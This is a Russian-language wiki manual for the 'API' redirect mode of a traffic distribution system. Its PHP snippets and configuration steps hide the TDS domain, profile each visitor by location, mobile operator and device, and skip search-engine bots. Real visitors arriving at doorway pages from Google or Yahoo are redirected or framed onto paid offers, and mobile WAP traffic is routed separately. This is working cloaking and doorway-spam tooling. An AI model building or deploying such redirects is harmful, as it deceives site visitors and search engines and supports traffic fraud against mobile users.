Инструменты пользователя

Инструменты сайта


api

Тип редиректа «API»

Этот тип редиректа используется для скрытия домена TDS.
Используя API вы получите от TDS все данные о посетителе в переменных PHP.

Разместите в корне каждого сайта файл api.php из папки «application».
В файле api.php измените ID группы, домен TDS и API ключ (он должен быть таким же как в config.php).
API ключ – это своего рода секретный пароль для обращения к TDS.
Пропишите в самом верху шаблона, начиная с первой строки, код:

<?php
$z_key = '[BKEYWORD]';
$z_parameter_1 = 'параметр 1';
$z_parameter_2 = '';
$z_parameter_3 = '';
$z_parameter_4 = '';
$z_parameter_5 = '';
include $_SERVER['DOCUMENT_ROOT'].'/api.php';
?>

$z_key - ключевое слово.
$z_parameter_x - дополнительные параметры передаваемые через TDS на ПП.
Если передача ключевого слова и дополнительных параметров не нужна, можно прописать вот так:

<?php include $_SERVER['DOCUMENT_ROOT'].'/api.php'; ?>

Все данные посетителя будут доступны в переменных PHP:

$z_out             | ссылка на платник/код или пусто
$z_country         | код страны/$z_empty
$z_region          | код региона/$z_empty
$z_city            | название города/$z_empty
$z_asn             | ASN/$z_empty
$z_org             | название организации/$z_empty
$z_operator        | название мобильного оператора: beeline/megafon/mts/tele2/azerbaijan/belarus/kazakhstan/ukraine/wap-1/wap-2/wap-3/$z_empty
$z_device          | тип устройства: computer/tablet/phone
$z_brand           | название бренда мобильного устройства или $z_empty
$z_os_name         | название OS/$z_empty
$z_os_version      | версия OS/$z_empty
$z_browser_name    | название браузера/$z_empty
$z_browser_version | версия браузера/$z_empty
$z_lang            | язык браузера/$z_empty
$z_uniq            | уникальность: yes/no
$z_bot             | бот: baidu/bing/google/mail/yahoo/yandex/.../$z_empty (см. «Лог»)
$z_macros          | результат обработки макросов или пусто

Если не удалось определить данные, переменные $z_country, $z_region, $z_city, $z_asn, $z_org, $z_operator, $z_brand, $z_os_name, $z_os_version, $z_browser_name, $z_browser_version, $z_lang, $z_bot будут равны переменной $z_empty.

При использовании API, часть ботов сразу отсеивается по признакам в юзерагенте, данные для них не запрашиваются с TDS (переменная $z_rd_bots в api.php).

Примеры использования API

Вариант 1
WAP трафик нужно отправить на https://wap-landing.com без передачи ключевого слова, остальным показать в фрейме https://desktop-landing.com с передачей ключевого слова.
Разместите в корне сайта файл api.php, настройте его.
1. В самом верху шаблона пропишите код для редиректа WAP трафика:

<?php
$z_key = '[BKEYWORD]';
include $_SERVER['DOCUMENT_ROOT'].'/api.php';
if($z_operator != $z_empty && $z_bot == $z_empty && !empty($z_out)){header("Location: $z_out");}
?>

Логика: если это WAP юзер, не бот и не пустой аут → редирект.

2.1. Для того чтобы показать платник в фрейме, перед тегом </head> пропишите код:

<?php
if($z_bot == $z_empty && !empty($z_out)){echo '
<frameset rows="100%,*" border="0" frameborder="0" framespacing="0" framecolor="#000000"><frame src="'.$z_out.'"><noframes>
';}
?>

Логика: если это не бот и не пустой аут → фрейм.

2.2. Если нужен JS редирект WEB трафика, перед тегом </body> пропишите код:

<?php
if($z_bot == $z_empty && !empty($z_out)){echo '<script type="text/javascript">window.location = "'.$z_out.'";</script>';}
?>

2.3. Если нужен http редирект всего трафика, весь код в верху шаблона будет таким:

<?php
$z_key = '[BKEYWORD]';
include $_SERVER['DOCUMENT_ROOT'].'/api.php';
if($z_bot == $z_empty && !empty($z_out)){header("Location: $z_out");}
?>

Создайте в TDS группу с типом редиректа «Stop».
Создайте первый поток, пропишите в ауте https://wap-landing.com, выберите тип редиректа «API», «Билайн, Мегафон, МТС, Теле2…» установите в «Отбирать», «Действие над ботами» установите в «Skip».
Создайте второй поток, пропишите в ауте https://desktop-landing.com/[KEY], «Действие над ботами» установите в «Skip».

Вариант 2
Редирект посетителей из SE на платник.
В самом верху шаблона пропишите код:

<?php
include $_SERVER['DOCUMENT_ROOT'].'/api.php';
if($z_bot == $z_empty && !empty($z_out)){header("Location: $z_out");}
?>

Создайте в TDS группу с типом редиректа «Stop».
Создайте поток, пропишите в ауте https://landing.com, выберите тип редиректа «API».
В поле фильтра «по наличию в реферере» пропишите:

/google|yahoo/i

Все посетители которые прийдут из выдачи Google и Yahoo отправятся на платник, остальные останутся на дорвее.

Вариант 3
Переименуйте api.php в go.php и разместите его в корне дорвея.
В файле go.php измените ID группы, домен TDS, резервный URL ($z_out_reserved) и API ключ.
Выберите в настройках потоков тип редиректа «API» (для ботов тоже), пропишите URL в аутах.
Отправляйте посетителей по адресу https://site.com/go.php?q=keyword
keyword - ключевое слово.
Скрипт отправит данные посетителя на TDS, получит URL платника и отправит туда посетителя.
Если получить URL платника не удалось, посетитель отправится на резервный URL.

Проверка работы API

Включите отладку в config.php ($debug = 1;)
В режиме отладки TDS не будет проверять API ключ.
Откройте в браузере URL группы с API, например https://tds.com/id
На экране вы должны увидеть сериализованные данные, например вот такие:

a:17:{i:0;s:19:"https://landing.com";i:1;s:2:"ru";i:2;s:6:"ru-mow";i:3;s:6:"moscow";i:4;s:5:"25159";i:5;s:12:"pjsc megafon";i:6;s:8:"computer";i:7;s:7:"megafon";i:8;s:1:"-";i:9;s:3:"yes";i:10;s:2:"ru";i:11;s:0:"";i:12;s:7:"windows";i:13;s:1:"7";i:14;s:7:"firefox";i:15;s:3:"103";i:16;s:1:"-";}

Выключите отладку.
Залейте настроенный api.php на сервер.
В самом конце api.php добавьте код:

<?php
echo 'out: '.$z_out.'<br>';
echo 'country: '.$z_country.'<br>';
echo 'region: '.$z_region.'<br>';
echo 'city: '.$z_city.'<br>';
echo 'asn: '.$z_asn.'<br>';
echo 'org: '.$z_org.'<br>';
echo 'operator: '.$z_operator.'<br>';
echo 'device: '.$z_device.'<br>';
echo 'brand: '.$z_brand.'<br>';
echo 'os name: '.$z_os_name.'<br>';
echo 'os version: '.$z_os_version.'<br>';
echo 'browser name: '.$z_browser_name.'<br>';
echo 'browser version: '.$z_browser_version.'<br>';
echo 'lang: '.$z_lang.'<br>';
echo 'uniq: '.$z_uniq.'<br>';
echo 'bot: '.$z_bot.'<br>';
echo 'macros: '.$z_macros;
exit();
?>

Откройте в браузере ссылку на свой api.php
На экране вы должны увидеть свои данные, например вот такие:

out: https://landing.com
country: ru
region: ru-mow
city: moscow
asn: 25159
org: pjsc megafon
operator: megafon
device: computer
brand: -
os name: windows
os version: 7
browser name: firefox
browser version: 103
lang: ru
uniq: yes
bot: -
macros:

Если все тесты пройдены - TDS принимает данные от api.php и возвращает результат проверок.


Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki